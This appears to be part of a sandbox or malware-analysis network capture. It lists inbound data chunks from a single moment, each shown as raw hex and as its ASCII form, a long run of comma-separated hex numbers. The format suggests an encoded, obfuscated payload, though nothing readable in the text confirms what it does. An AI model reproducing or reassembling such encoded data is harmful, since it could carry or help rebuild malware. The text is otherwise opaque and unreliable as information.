2023-04-20 23:05:15 UTC	15277	IN	Data Raw: 64 2c 31 32 35 2c 31 31 66 2c 31 32 30 2c 31 33 36 2c 31 32 65 2c 63 32 2c 31 35 39 2c 62 63 2c 63 35 2c 36 36 2c 66 32 2c 64 62 2c 63 36 2c 31 30 64 2c 31 30 36 2c 37 30 2c 61 66 2c 31 30 31 2c 31 32 65 2c 31 33 37 2c 63 37 2c 31 35 32 2c 31 31 35 2c 36 37 2c 31 30 33 2c 31 31 31 2c 31 36 34 2c 64 38 2c 61 65 2c 66 33 2c 37 61 2c 31 30 31 2c 38 35 2c 31 34 33 2c 39 37 2c 39 64 2c 37 66 2c 61 37 2c 63 33 2c 31 31 37 2c 66 33 2c 61 33 2c 61 66 2c 65 64 2c 61 61 2c 35 31 2c 38 30 2c 31 32 32 2c 31 33 31 2c 35 62 2c 31 33 31 2c 63 63 2c 63 35 2c 31 34 35 2c 34 32 2c 31 30 63 2c 31 33 30 2c 31 34 37 2c 65 61 2c 37 32 2c 35 63 2c 39 38 2c 65 32 2c 63 31 2c 66 36 2c 31 33 36 2c 66 64 2c 65 38 2c 66 33 2c 33 61 2c 37 66 2c 38 31 2c 62 34 2c 31 33 31 2c 31 31 64 Data Ascii: d,125,11f,120,136,12e,c2,159,bc,c5,66,f2,db,c6,10d,106,70,af,101,12e,137,c7,152,115,67,103,111,164,d8,ae,f3,7a,101,85,143,97,9d,7f,a7,c3,117,f3,a3,af,ed,aa,51,80,122,131,5b,131,cc,c5,145,42,10c,130,147,ea,72,5c,98,e2,c1,f6,136,fd,e8,f3,3a,7f,81,b4,131,11d
2023-04-20 23:05:15 UTC	15293	IN	Data Raw: 33 2c 31 30 32 2c 36 33 2c 31 33 32 2c 38 39 2c 31 30 65 2c 31 33 30 2c 39 32 2c 31 34 31 2c 62 33 2c 31 33 64 2c 65 61 2c 66 31 2c 35 38 2c 62 65 2c 64 37 2c 66 65 2c 62 35 2c 37 66 2c 65 62 2c 63 64 2c 31 34 32 2c 34 61 2c 31 31 37 2c 31 31 38 2c 34 34 2c 66 66 2c 31 31 36 2c 39 33 2c 35 62 2c 65 63 2c 38 38 2c 62 31 2c 35 32 2c 31 33 66 2c 37 66 2c 36 33 2c 39 64 2c 31 32 65 2c 66 39 2c 37 39 2c 31 34 39 2c 39 35 2c 39 35 2c 37 63 2c 61 31 2c 63 37 2c 34 61 2c 37 35 2c 31 32 65 2c 36 66 2c 31 33 36 2c 36 35 2c 31 33 37 2c 63 31 2c 66 39 2c 63 30 2c 39 35 2c 37 35 2c 61 31 2c 61 39 2c 61 33 2c 31 32 65 2c 31 31 65 2c 31 30 35 2c 65 63 2c 38 34 2c 39 65 2c 31 34 36 2c 38 61 2c 31 34 37 2c 31 30 32 2c 31 31 63 2c 31 32 32 2c 31 31 32 2c 31 30 65 2c 65 35 Data Ascii: 3,102,63,132,89,10e,130,92,141,b3,13d,ea,f1,58,be,d7,fe,b5,7f,eb,cd,142,4a,117,118,44,ff,116,93,5b,ec,88,b1,52,13f,7f,63,9d,12e,f9,79,149,95,95,7c,a1,c7,4a,75,12e,6f,136,65,137,c1,f9,c0,95,75,a1,a9,a3,12e,11e,105,ec,84,9e,146,8a,147,102,11c,122,112,10e,e5
2023-04-20 23:05:15 UTC	15309	IN	Data Raw: 2c 31 34 32 2c 37 65 2c 63 31 2c 37 35 2c 64 38 2c 31 32 38 2c 31 36 36 2c 65 65 2c 31 30 38 2c 38 37 2c 61 38 2c 64 61 2c 31 32 64 2c 62 30 2c 38 36 2c 61 34 2c 34 39 2c 31 32 31 2c 31 30 30 2c 38 65 2c 37 37 2c 35 31 2c 38 31 2c 31 30 32 2c 31 33 62 2c 66 39 2c 31 31 37 2c 31 33 66 2c 31 30 38 2c 35 61 2c 35 39 2c 66 66 2c 37 65 2c 66 66 2c 63 38 2c 65 34 2c 64 31 2c 31 34 35 2c 31 35 35 2c 31 31 64 2c 65 39 2c 31 33 63 2c 31 31 32 2c 62 32 2c 61 31 2c 66 63 2c 63 32 2c 62 38 2c 31 34 32 2c 31 33 62 2c 65 64 2c 63 32 2c 63 64 2c 65 35 2c 61 65 2c 31 31 38 2c 31 30 33 2c 31 31 39 2c 66 39 2c 63 63 2c 36 64 2c 34 31 2c 36 65 2c 66 39 2c 65 66 2c 65 35 2c 37 36 2c 31 35 32 2c 66 63 2c 37 37 2c 31 30 61 2c 64 37 2c 31 32 66 2c 36 32 2c 39 38 2c 35 39 2c 31 Data Ascii: ,142,7e,c1,75,d8,128,166,ee,108,87,a8,da,12d,b0,86,a4,49,121,100,8e,77,51,81,102,13b,f9,117,13f,108,5a,59,ff,7e,ff,c8,e4,d1,145,155,11d,e9,13c,112,b2,a1,fc,c2,b8,142,13b,ed,c2,cd,e5,ae,118,103,119,f9,cc,6d,41,6e,f9,ef,e5,76,152,fc,77,10a,d7,12f,62,98,59,1
2023-04-20 23:05:15 UTC	15325	IN	Data Raw: 63 2c 31 35 34 2c 34 31 2c 31 32 32 2c 64 38 2c 31 35 34 2c 31 33 39 2c 61 63 2c 31 31 66 2c 37 31 2c 37 35 2c 34 65 2c 38 63 2c 38 39 2c 31 30 34 2c 63 66 2c 31 32 38 2c 31 30 65 2c 31 30 36 2c 66 39 2c 64 63 2c 31 30 64 2c 31 34 62 2c 64 61 2c 31 32 38 2c 63 66 2c 39 65 2c 37 30 2c 31 36 64 2c 31 36 33 2c 62 62 2c 34 65 2c 31 30 65 2c 39 63 2c 63 34 2c 38 39 2c 61 61 2c 31 32 32 2c 65 33 2c 31 30 34 2c 31 32 62 2c 31 33 34 2c 66 35 2c 37 35 2c 63 31 2c 66 65 2c 31 33 64 2c 38 36 2c 36 35 2c 65 61 2c 31 33 63 2c 61 64 2c 66 66 2c 31 30 38 2c 31 31 32 2c 31 30 62 2c 64 30 2c 36 66 2c 31 30 36 2c 31 31 32 2c 31 35 34 2c 31 30 34 2c 38 30 2c 35 39 2c 66 37 2c 31 36 33 2c 38 36 2c 36 63 2c 35 36 2c 31 36 63 2c 31 30 38 2c 35 31 2c 64 64 2c 61 35 2c 63 66 2c Data Ascii: c,154,41,122,d8,154,139,ac,11f,71,75,4e,8c,89,104,cf,128,10e,106,f9,dc,10d,14b,da,128,cf,9e,70,16d,163,bb,4e,10e,9c,c4,89,aa,122,e3,104,12b,134,f5,75,c1,fe,13d,86,65,ea,13c,ad,ff,108,112,10b,d0,6f,106,112,154,104,80,59,f7,163,86,6c,56,16c,108,51,dd,a5,cf,
2023-04-20 23:05:15 UTC	15341	IN	Data Raw: 35 34 2c 38 37 2c 31 32 62 2c 62 63 2c 61 31 2c 31 32 39 2c 62 39 2c 65 31 2c 35 33 2c 65 37 2c 31 34 34 2c 63 30 2c 31 34 66 2c 61 34 2c 39 30 2c 63 36 2c 38 34 2c 34 32 2c 39 66 2c 61 31 2c 31 35 32 2c 31 34 30 2c 34 61 2c 38 63 2c 31 35 63 2c 62 62 2c 38 35 2c 31 31 31 2c 39 64 2c 31 32 39 2c 31 32 35 2c 36 62 2c 37 32 2c 61 34 2c 34 62 2c 64 63 2c 31 32 36 2c 38 32 2c 65 62 2c 65 32 2c 63 39 2c 36 35 2c 39 37 2c 37 62 2c 65 32 2c 31 33 36 2c 36 30 2c 31 31 33 2c 66 39 2c 35 65 2c 31 32 62 2c 31 30 65 2c 31 31 66 2c 65 61 2c 31 30 34 2c 31 31 33 2c 31 32 32 2c 64 63 2c 38 31 2c 39 33 2c 31 32 35 2c 62 64 2c 37 33 2c 63 34 2c 31 31 62 2c 62 63 2c 63 35 2c 36 62 2c 61 61 2c 39 62 2c 65 64 2c 66 62 2c 66 35 2c 31 33 30 2c 62 62 2c 64 61 2c 37 61 2c 31 34 Data Ascii: 54,87,12b,bc,a1,129,b9,e1,53,e7,144,c0,14f,a4,90,c6,84,42,9f,a1,152,140,4a,8c,15c,bb,85,111,9d,129,125,6b,72,a4,4b,dc,126,82,eb,e2,c9,65,97,7b,e2,136,60,113,f9,5e,12b,10e,11f,ea,104,113,122,dc,81,93,125,bd,73,c4,11b,bc,c5,6b,aa,9b,ed,fb,f5,130,bb,da,7a,14
2023-04-20 23:05:15 UTC	15357	IN	Data Raw: 30 2c 31 34 66 2c 65 65 2c 66 38 2c 31 33 31 2c 65 64 2c 38 32 2c 36 35 2c 38 37 2c 38 65 2c 31 32 63 2c 62 34 2c 34 39 2c 61 32 2c 31 32 31 2c 33 31 2c 38 32 2c 64 62 2c 31 30 66 2c 31 30 38 2c 37 31 2c 65 34 2c 37 37 2c 64 66 2c 62 38 2c 31 32 61 2c 63 33 2c 31 35 36 2c 65 33 2c 35 61 2c 65 37 2c 31 32 64 2c 31 37 35 2c 65 37 2c 65 61 2c 36 63 2c 34 64 2c 62 31 2c 31 31 35 2c 36 33 2c 31 34 38 2c 66 33 2c 63 33 2c 31 31 63 2c 34 32 2c 31 34 32 2c 37 65 2c 62 64 2c 36 65 2c 66 61 2c 64 63 2c 63 39 2c 37 65 2c 64 66 2c 64 36 2c 63 36 2c 38 36 2c 36 39 2c 31 34 38 2c 31 31 39 2c 66 38 2c 61 37 2c 65 36 2c 36 32 2c 39 61 2c 61 66 2c 36 36 2c 31 32 39 2c 31 30 62 2c 33 31 2c 31 30 32 2c 65 61 2c 35 33 2c 31 32 34 2c 62 64 2c 63 63 2c 34 34 2c 31 31 63 2c 61 Data Ascii: 0,14f,ee,f8,131,ed,82,65,87,8e,12c,b4,49,a2,121,31,82,db,10f,108,71,e4,77,df,b8,12a,c3,156,e3,5a,e7,12d,175,e7,ea,6c,4d,b1,115,63,148,f3,c3,11c,42,142,7e,bd,6e,fa,dc,c9,7e,df,d6,c6,86,69,148,119,f8,a7,e6,62,9a,af,66,129,10b,31,102,ea,53,124,bd,cc,44,11c,a
2023-04-20 23:05:15 UTC	15373	IN	Data Raw: 2c 64 32 2c 36 37 2c 66 65 2c 61 35 2c 36 36 2c 31 32 63 2c 62 38 2c 65 39 2c 39 66 2c 35 62 2c 38 34 2c 37 63 2c 63 31 2c 39 32 2c 35 64 2c 62 63 2c 66 39 2c 31 30 33 2c 65 39 2c 37 31 2c 31 36 64 2c 65 32 2c 61 66 2c 63 65 2c 62 34 2c 66 63 2c 31 31 36 2c 31 32 62 2c 31 31 61 2c 31 31 36 2c 64 36 2c 39 39 2c 37 62 2c 63 34 2c 63 32 2c 31 32 34 2c 61 34 2c 35 35 2c 62 31 2c 31 36 34 2c 31 32 35 2c 62 33 2c 35 63 2c 39 38 2c 61 62 2c 37 65 2c 31 32 31 2c 62 62 2c 64 39 2c 62 30 2c 63 31 2c 38 35 2c 63 39 2c 31 34 33 2c 36 63 2c 31 31 34 2c 62 61 2c 62 66 2c 31 33 30 2c 64 65 2c 38 33 2c 31 36 33 2c 61 34 2c 37 64 2c 66 39 2c 31 30 65 2c 65 39 2c 31 30 39 2c 64 34 2c 66 61 2c 38 33 2c 31 33 30 2c 31 35 65 2c 31 31 38 2c 64 66 2c 62 63 2c 31 32 36 2c 31 30 Data Ascii: ,d2,67,fe,a5,66,12c,b8,e9,9f,5b,84,7c,c1,92,5d,bc,f9,103,e9,71,16d,e2,af,ce,b4,fc,116,12b,11a,116,d6,99,7b,c4,c2,124,a4,55,b1,164,125,b3,5c,98,ab,7e,121,bb,d9,b0,c1,85,c9,143,6c,114,ba,bf,130,de,83,163,a4,7d,f9,10e,e9,109,d4,fa,83,130,15e,118,df,bc,126,10
2023-04-20 23:05:15 UTC	15389	IN	Data Raw: 36 39 2c 65 33 2c 35 31 2c 64 64 2c 31 34 66 2c 39 39 2c 65 63 2c 37 37 2c 66 32 2c 66 61 2c 39 37 2c 31 34 30 2c 31 30 35 2c 37 37 2c 39 31 2c 31 30 66 2c 62 61 2c 31 31 38 2c 31 32 30 2c 31 32 39 2c 36 61 2c 64 34 2c 31 30 33 2c 63 61 2c 31 30 35 2c 34 66 2c 63 61 2c 31 31 33 2c 31 30 63 2c 36 33 2c 31 31 61 2c 66 36 2c 64 39 2c 31 31 66 2c 37 38 2c 39 64 2c 31 32 65 2c 38 31 2c 31 35 38 2c 64 39 2c 62 36 2c 38 63 2c 39 34 2c 64 38 2c 31 31 32 2c 64 62 2c 31 33 33 2c 64 39 2c 39 61 2c 31 31 33 2c 31 33 61 2c 66 37 2c 31 33 38 2c 63 32 2c 33 65 2c 37 38 2c 31 34 65 2c 39 39 2c 37 62 2c 31 30 36 2c 31 32 64 2c 65 32 2c 34 65 2c 66 65 2c 66 34 2c 65 64 2c 31 30 33 2c 65 65 2c 31 31 38 2c 31 33 31 2c 31 32 34 2c 39 37 2c 61 65 2c 61 35 2c 61 63 2c 37 62 2c Data Ascii: 69,e3,51,dd,14f,99,ec,77,f2,fa,97,140,105,77,91,10f,ba,118,120,129,6a,d4,103,ca,105,4f,ca,113,10c,63,11a,f6,d9,11f,78,9d,12e,81,158,d9,b6,8c,94,d8,112,db,133,d9,9a,113,13a,f7,138,c2,3e,78,14e,99,7b,106,12d,e2,4e,fe,f4,ed,103,ee,118,131,124,97,ae,a5,ac,7b,
2023-04-20 23:05:15 UTC	15405	IN	Data Raw: 2c 31 30 30 2c 62 63 2c 65 31 2c 31 37 32 2c 62 31 2c 31 32 34 2c 35 34 2c 62 31 2c 65 35 2c 31 32 62 2c 31 30 62 2c 31 34 35 2c 65 64 2c 37 61 2c 64 62 2c 31 30 63 2c 39 64 2c 31 33 30 2c 66 32 2c 62 66 2c 36 33 2c 31 33 31 2c 36 39 2c 31 33 37 2c 64 38 2c 31 35 31 2c 39 65 2c 31 30 39 2c 31 35 65 2c 64 37 2c 31 34 65 2c 31 33 38 2c 31 31 36 2c 62 35 2c 61 36 2c 31 36 39 2c 39 37 2c 62 62 2c 39 62 2c 31 36 38 2c 35 39 2c 31 32 34 2c 31 33 34 2c 36 62 2c 66 32 2c 61 61 2c 64 31 2c 35 33 2c 31 32 66 2c 31 33 36 2c 31 33 61 2c 38 63 2c 31 33 30 2c 31 34 32 2c 62 33 2c 38 38 2c 63 30 2c 31 34 66 2c 65 63 2c 39 64 2c 38 32 2c 34 37 2c 31 34 31 2c 31 34 33 2c 65 65 2c 64 61 2c 65 36 2c 31 35 63 2c 63 66 2c 31 30 63 2c 66 32 2c 31 35 32 2c 36 36 2c 31 32 65 2c Data Ascii: ,100,bc,e1,172,b1,124,54,b1,e5,12b,10b,145,ed,7a,db,10c,9d,130,f2,bf,63,131,69,137,d8,151,9e,109,15e,d7,14e,138,116,b5,a6,169,97,bb,9b,168,59,124,134,6b,f2,aa,d1,53,12f,136,13a,8c,130,142,b3,88,c0,14f,ec,9d,82,47,141,143,ee,da,e6,15c,cf,10c,f2,152,66,12e,
2023-04-20 23:05:15 UTC	15421	IN	Data Raw: 2c 38 61 2c 64 37 2c 31 36 36 2c 37 62 2c 31 31 33 2c 38 61 2c 61 34 2c 31 31 39 2c 65 39 2c 63 35 2c 65 39 2c 31 32 38 2c 65 36 2c 39 64 2c 65 37 2c 61 33 2c 31 33 33 2c 33 33 2c 64 30 2c 61 65 2c 64 34 2c 63 30 2c 63 63 2c 63 38 2c 62 64 2c 31 34 31 2c 62 30 2c 63 32 2c 31 33 62 2c 66 31 2c 66 64 2c 31 30 34 2c 37 30 2c 64 34 2c 65 62 2c 63 35 2c 62 66 2c 38 62 2c 66 39 2c 65 32 2c 31 34 39 2c 64 34 2c 31 34 61 2c 31 32 39 2c 38 31 2c 31 34 35 2c 62 66 2c 31 30 32 2c 31 33 30 2c 34 34 2c 31 32 30 2c 64 33 2c 31 32 38 2c 37 63 2c 31 34 62 2c 31 33 39 2c 66 62 2c 62 61 2c 31 30 34 2c 64 33 2c 62 35 2c 31 31 31 2c 64 64 2c 39 38 2c 62 31 2c 61 33 2c 31 32 39 2c 38 64 2c 36 63 2c 61 35 2c 36 63 2c 38 65 2c 38 66 2c 31 31 61 2c 31 31 66 2c 62 35 2c 31 30 61 Data Ascii: ,8a,d7,166,7b,113,8a,a4,119,e9,c5,e9,128,e6,9d,e7,a3,133,33,d0,ae,d4,c0,cc,c8,bd,141,b0,c2,13b,f1,fd,104,70,d4,eb,c5,bf,8b,f9,e2,149,d4,14a,129,81,145,bf,102,130,44,120,d3,128,7c,14b,139,fb,ba,104,d3,b5,111,dd,98,b1,a3,129,8d,6c,a5,6c,8e,8f,11a,11f,b5,10a
2023-04-20 23:05:15 UTC	15437	IN	Data Raw: 39 30 2c 39 38 2c 64 39 2c 38 37 2c 31 31 39 2c 61 65 2c 31 31 35 2c 31 34 65 2c 31 30 62 2c 37 32 2c 35 63 2c 31 32 61 2c 38 31 2c 31 30 64 2c 35 66 2c 62 30 2c 31 36 30 2c 33 63 2c 62 65 2c 64 34 2c 31 34 36 2c 31 32 33 2c 31 30 33 2c 36 64 2c 38 36 2c 66 65 2c 31 34 35 2c 31 33 65 2c 66 65 2c 64 63 2c 31 32 38 2c 64 63 2c 37 38 2c 64 37 2c 38 37 2c 31 33 30 2c 31 35 37 2c 66 64 2c 39 38 2c 62 61 2c 36 62 2c 31 30 34 2c 61 39 2c 35 36 2c 39 33 2c 38 63 2c 35 34 2c 31 30 63 2c 65 38 2c 34 39 2c 64 34 2c 64 36 2c 65 63 2c 63 63 2c 31 32 38 2c 64 62 2c 31 32 63 2c 66 31 2c 31 34 38 2c 62 33 2c 31 34 37 2c 31 33 64 2c 31 33 36 2c 31 30 37 2c 62 62 2c 66 39 2c 31 30 65 2c 31 33 65 2c 31 32 39 2c 63 39 2c 66 65 2c 31 31 35 2c 63 36 2c 65 39 2c 39 39 2c 31 34 Data Ascii: 90,98,d9,87,119,ae,115,14e,10b,72,5c,12a,81,10d,5f,b0,160,3c,be,d4,146,123,103,6d,86,fe,145,13e,fe,dc,128,dc,78,d7,87,130,157,fd,98,ba,6b,104,a9,56,93,8c,54,10c,e8,49,d4,d6,ec,cc,128,db,12c,f1,148,b3,147,13d,136,107,bb,f9,10e,13e,129,c9,fe,115,c6,e9,99,14
2023-04-20 23:05:15 UTC	15453	IN	Data Raw: 38 39 2c 39 34 2c 64 39 2c 38 63 2c 39 37 2c 36 36 2c 31 35 34 2c 61 31 2c 64 66 2c 38 34 2c 62 61 2c 31 31 34 2c 31 31 63 2c 66 38 2c 31 33 38 2c 31 33 32 2c 31 34 63 2c 64 63 2c 63 63 2c 65 32 2c 65 36 2c 62 65 2c 66 61 2c 62 33 2c 31 34 31 2c 61 35 2c 31 33 65 2c 66 63 2c 31 30 37 2c 39 35 2c 31 31 38 2c 31 31 31 2c 33 63 2c 31 33 38 2c 31 32 36 2c 66 62 2c 35 33 2c 31 30 61 2c 37 63 2c 63 61 2c 65 32 2c 37 62 2c 31 32 30 2c 64 31 2c 36 31 2c 37 64 2c 31 31 31 2c 37 61 2c 39 30 2c 63 31 2c 65 62 2c 39 39 2c 31 35 35 2c 39 66 2c 39 33 2c 31 33 63 2c 35 64 2c 64 39 2c 35 66 2c 64 64 2c 31 33 37 2c 31 36 65 2c 61 36 2c 37 66 2c 31 30 64 2c 31 37 31 2c 61 65 2c 31 31 33 2c 31 33 32 2c 61 65 2c 31 32 38 2c 31 31 66 2c 63 63 2c 31 32 61 2c 64 33 2c 31 30 31 Data Ascii: 89,94,d9,8c,97,66,154,a1,df,84,ba,114,11c,f8,138,132,14c,dc,cc,e2,e6,be,fa,b3,141,a5,13e,fc,107,95,118,111,3c,138,126,fb,53,10a,7c,ca,e2,7b,120,d1,61,7d,111,7a,90,c1,eb,99,155,9f,93,13c,5d,d9,5f,dd,137,16e,a6,7f,10d,171,ae,113,132,ae,128,11f,cc,12a,d3,101
2023-04-20 23:05:15 UTC	15469	IN	Data Raw: 65 37 2c 61 37 2c 65 36 2c 31 30 39 2c 31 30 63 2c 63 62 2c 36 36 2c 36 30 2c 31 34 63 2c 37 64 2c 66 64 2c 37 66 2c 39 39 2c 62 32 2c 31 31 61 2c 62 33 2c 31 34 35 2c 62 39 2c 37 65 2c 65 38 2c 37 63 2c 35 62 2c 31 33 36 2c 64 35 2c 31 30 65 2c 63 65 2c 38 64 2c 35 34 2c 31 37 32 2c 31 32 33 2c 66 37 2c 31 32 39 2c 31 32 32 2c 63 64 2c 63 65 2c 37 65 2c 31 32 30 2c 63 61 2c 66 35 2c 66 37 2c 31 30 62 2c 31 30 35 2c 31 33 64 2c 37 30 2c 38 65 2c 66 66 2c 66 31 2c 31 34 63 2c 31 33 64 2c 61 63 2c 31 32 31 2c 61 36 2c 35 33 2c 38 66 2c 31 32 36 2c 61 63 2c 38 65 2c 64 65 2c 66 33 2c 39 36 2c 64 38 2c 63 37 2c 64 64 2c 39 35 2c 31 31 37 2c 31 33 61 2c 66 37 2c 31 30 66 2c 37 38 2c 61 65 2c 39 31 2c 64 62 2c 31 31 37 2c 66 30 2c 39 61 2c 31 31 39 2c 65 34 2c Data Ascii: e7,a7,e6,109,10c,cb,66,60,14c,7d,fd,7f,99,b2,11a,b3,145,b9,7e,e8,7c,5b,136,d5,10e,ce,8d,54,172,123,f7,129,122,cd,ce,7e,120,ca,f5,f7,10b,105,13d,70,8e,ff,f1,14c,13d,ac,121,a6,53,8f,126,ac,8e,de,f3,96,d8,c7,dd,95,117,13a,f7,10f,78,ae,91,db,117,f0,9a,119,e4,
2023-04-20 23:05:15 UTC	15485	IN	Data Raw: 2c 66 34 2c 31 30 34 2c 31 32 39 2c 31 34 32 2c 31 30 66 2c 31 34 35 2c 39 66 2c 31 33 38 2c 64 65 2c 62 65 2c 31 33 62 2c 31 31 36 2c 36 39 2c 31 30 39 2c 35 32 2c 31 31 35 2c 31 31 30 2c 38 39 2c 31 36 61 2c 39 39 2c 31 30 34 2c 31 30 39 2c 66 37 2c 39 63 2c 36 33 2c 31 33 65 2c 31 36 66 2c 36 37 2c 31 30 63 2c 34 37 2c 37 36 2c 31 32 65 2c 66 30 2c 61 39 2c 31 30 34 2c 65 66 2c 39 35 2c 64 34 2c 65 35 2c 31 35 30 2c 36 61 2c 31 30 35 2c 31 34 64 2c 39 35 2c 62 34 2c 31 36 37 2c 39 39 2c 31 34 63 2c 31 30 39 2c 31 37 33 2c 62 63 2c 64 64 2c 39 39 2c 31 33 30 2c 65 32 2c 39 37 2c 39 62 2c 61 31 2c 31 34 39 2c 62 34 2c 64 30 2c 61 30 2c 31 34 37 2c 31 36 31 2c 65 33 2c 36 64 2c 63 64 2c 31 34 61 2c 63 66 2c 66 31 2c 63 62 2c 31 34 37 2c 31 31 66 2c 31 33 Data Ascii: ,f4,104,129,142,10f,145,9f,138,de,be,13b,116,69,109,52,115,110,89,16a,99,104,109,f7,9c,63,13e,16f,67,10c,47,76,12e,f0,a9,104,ef,95,d4,e5,150,6a,105,14d,95,b4,167,99,14c,109,173,bc,dd,99,130,e2,97,9b,a1,149,b4,d0,a0,147,161,e3,6d,cd,14a,cf,f1,cb,147,11f,13
2023-04-20 23:05:15 UTC	15501	IN	Data Raw: 2c 31 30 30 2c 35 37 2c 31 34 66 2c 63 35 2c 39 65 2c 31 33 33 2c 31 31 37 2c 35 37 2c 31 30 33 2c 31 35 38 2c 31 32 32 2c 31 33 33 2c 62 66 2c 34 64 2c 61 65 2c 36 64 2c 31 34 30 2c 37 39 2c 31 32 35 2c 31 33 30 2c 61 31 2c 62 38 2c 31 34 30 2c 31 31 66 2c 31 32 37 2c 37 65 2c 64 63 2c 31 36 33 2c 61 36 2c 38 66 2c 65 31 2c 31 33 31 2c 36 30 2c 36 35 2c 31 34 63 2c 31 35 31 2c 63 34 2c 66 32 2c 37 36 2c 37 31 2c 31 33 37 2c 65 63 2c 31 34 62 2c 31 32 32 2c 64 39 2c 35 34 2c 61 30 2c 35 35 2c 35 65 2c 39 62 2c 31 32 37 2c 38 33 2c 63 66 2c 65 61 2c 64 30 2c 31 33 65 2c 31 30 62 2c 31 34 34 2c 37 33 2c 31 34 30 2c 62 37 2c 31 30 66 2c 34 64 2c 37 64 2c 65 35 2c 39 31 2c 38 33 2c 31 34 39 2c 39 30 2c 66 30 2c 35 62 2c 31 34 64 2c 65 31 2c 31 36 66 2c 31 31 Data Ascii: ,100,57,14f,c5,9e,133,117,57,103,158,122,133,bf,4d,ae,6d,140,79,125,130,a1,b8,140,11f,127,7e,dc,163,a6,8f,e1,131,60,65,14c,151,c4,f2,76,71,137,ec,14b,122,d9,54,a0,55,5e,9b,127,83,cf,ea,d0,13e,10b,144,73,140,b7,10f,4d,7d,e5,91,83,149,90,f0,5b,14d,e1,16f,11
2023-04-20 23:05:15 UTC	15517	IN	Data Raw: 65 66 2c 31 33 66 2c 63 62 2c 31 32 63 2c 31 33 30 2c 31 36 39 2c 31 33 30 2c 62 33 2c 62 31 2c 39 35 2c 62 37 2c 37 37 2c 31 33 65 2c 31 34 34 2c 64 35 2c 62 65 2c 35 61 2c 63 33 2c 37 66 2c 61 35 2c 38 30 2c 35 36 2c 66 65 2c 65 34 2c 65 63 2c 31 32 38 2c 35 31 2c 62 62 2c 31 31 38 2c 38 63 2c 38 61 2c 65 38 2c 31 30 62 2c 62 66 2c 31 30 66 2c 38 34 2c 62 35 2c 61 34 2c 31 30 63 2c 36 32 2c 39 32 2c 31 31 38 2c 31 36 37 2c 31 30 36 2c 36 62 2c 31 32 35 2c 31 30 35 2c 66 34 2c 31 30 64 2c 35 39 2c 31 34 62 2c 31 31 62 2c 31 34 31 2c 38 66 2c 39 37 2c 31 32 36 2c 63 38 2c 64 64 2c 62 62 2c 31 36 32 2c 31 31 64 2c 38 36 2c 34 65 2c 62 38 2c 31 33 34 2c 31 31 64 2c 63 64 2c 65 30 2c 31 33 33 2c 65 37 2c 64 39 2c 66 35 2c 31 31 33 2c 64 38 2c 31 37 30 2c 31 Data Ascii: ef,13f,cb,12c,130,169,130,b3,b1,95,b7,77,13e,144,d5,be,5a,c3,7f,a5,80,56,fe,e4,ec,128,51,bb,118,8c,8a,e8,10b,bf,10f,84,b5,a4,10c,62,92,118,167,106,6b,125,105,f4,10d,59,14b,11b,141,8f,97,126,c8,dd,bb,162,11d,86,4e,b8,134,11d,cd,e0,133,e7,d9,f5,113,d8,170,1
2023-04-20 23:05:15 UTC	15533	IN	Data Raw: 2c 35 65 2c 31 34 30 2c 31 32 31 2c 64 64 2c 38 31 2c 64 30 2c 66 34 2c 31 36 37 2c 66 30 2c 36 33 2c 39 37 2c 65 36 2c 66 61 2c 64 36 2c 31 33 31 2c 38 66 2c 39 36 2c 31 32 62 2c 31 32 63 2c 36 33 2c 39 31 2c 37 39 2c 39 66 2c 31 31 34 2c 31 33 63 2c 61 31 2c 64 35 2c 31 31 65 2c 62 66 2c 65 65 2c 35 39 2c 34 63 2c 63 31 2c 65 35 2c 61 33 2c 62 65 2c 38 36 2c 61 39 2c 31 33 34 2c 31 33 38 2c 64 63 2c 39 38 2c 35 34 2c 66 31 2c 31 32 61 2c 36 31 2c 64 36 2c 33 31 2c 31 36 33 2c 31 30 65 2c 34 61 2c 31 34 36 2c 64 62 2c 31 35 34 2c 31 36 39 2c 39 64 2c 31 33 34 2c 31 30 34 2c 31 31 62 2c 31 30 62 2c 31 30 35 2c 31 32 30 2c 31 31 32 2c 65 38 2c 62 65 2c 64 66 2c 31 31 62 2c 31 32 31 2c 31 31 38 2c 31 33 61 2c 31 33 32 2c 31 35 33 2c 65 38 2c 36 62 2c 36 30 Data Ascii: ,5e,140,121,dd,81,d0,f4,167,f0,63,97,e6,fa,d6,131,8f,96,12b,12c,63,91,79,9f,114,13c,a1,d5,11e,bf,ee,59,4c,c1,e5,a3,be,86,a9,134,138,dc,98,54,f1,12a,61,d6,31,163,10e,4a,146,db,154,169,9d,134,104,11b,10b,105,120,112,e8,be,df,11b,121,118,13a,132,153,e8,6b,60
2023-04-20 23:05:15 UTC	15549	IN	Data Raw: 35 2c 31 35 36 2c 31 30 61 2c 31 30 63 2c 61 30 2c 64 35 2c 65 33 2c 65 61 2c 37 35 2c 31 30 32 2c 31 30 30 2c 31 32 38 2c 31 34 36 2c 38 33 2c 39 64 2c 61 37 2c 65 32 2c 36 65 2c 63 65 2c 63 62 2c 62 37 2c 31 33 65 2c 36 30 2c 39 32 2c 62 64 2c 66 33 2c 62 62 2c 39 36 2c 37 63 2c 65 32 2c 63 32 2c 31 32 34 2c 64 63 2c 31 30 32 2c 64 36 2c 66 31 2c 37 33 2c 31 30 34 2c 61 36 2c 62 63 2c 61 61 2c 35 65 2c 63 30 2c 39 64 2c 64 62 2c 37 33 2c 61 34 2c 61 61 2c 31 31 62 2c 31 32 30 2c 63 61 2c 31 31 38 2c 31 32 38 2c 65 61 2c 34 34 2c 36 65 2c 39 31 2c 37 35 2c 62 62 2c 31 32 35 2c 61 39 2c 31 35 65 2c 38 37 2c 66 36 2c 61 34 2c 31 36 61 2c 31 30 66 2c 38 34 2c 64 62 2c 31 33 61 2c 31 32 36 2c 36 30 2c 39 66 2c 31 34 39 2c 39 63 2c 38 31 2c 61 37 2c 37 32 2c Data Ascii: 5,156,10a,10c,a0,d5,e3,ea,75,102,100,128,146,83,9d,a7,e2,6e,ce,cb,b7,13e,60,92,bd,f3,bb,96,7c,e2,c2,124,dc,102,d6,f1,73,104,a6,bc,aa,5e,c0,9d,db,73,a4,aa,11b,120,ca,118,128,ea,44,6e,91,75,bb,125,a9,15e,87,f6,a4,16a,10f,84,db,13a,126,60,9f,149,9c,81,a7,72,
